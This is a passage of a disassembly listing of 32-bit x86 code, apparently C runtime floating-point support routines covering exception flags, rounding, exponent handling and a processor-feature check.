near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43CC70, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB278, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43CC70, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 26602EFh mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C870 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43C860 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43C870 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43C870 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43C860 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C860 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB278, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB278, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43C788 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43C860 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43C78C[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43C888 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43C888 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43C894 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2680EE8h test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26B0313h test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43C504, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43C508 mov al, [esi] mov [esi], 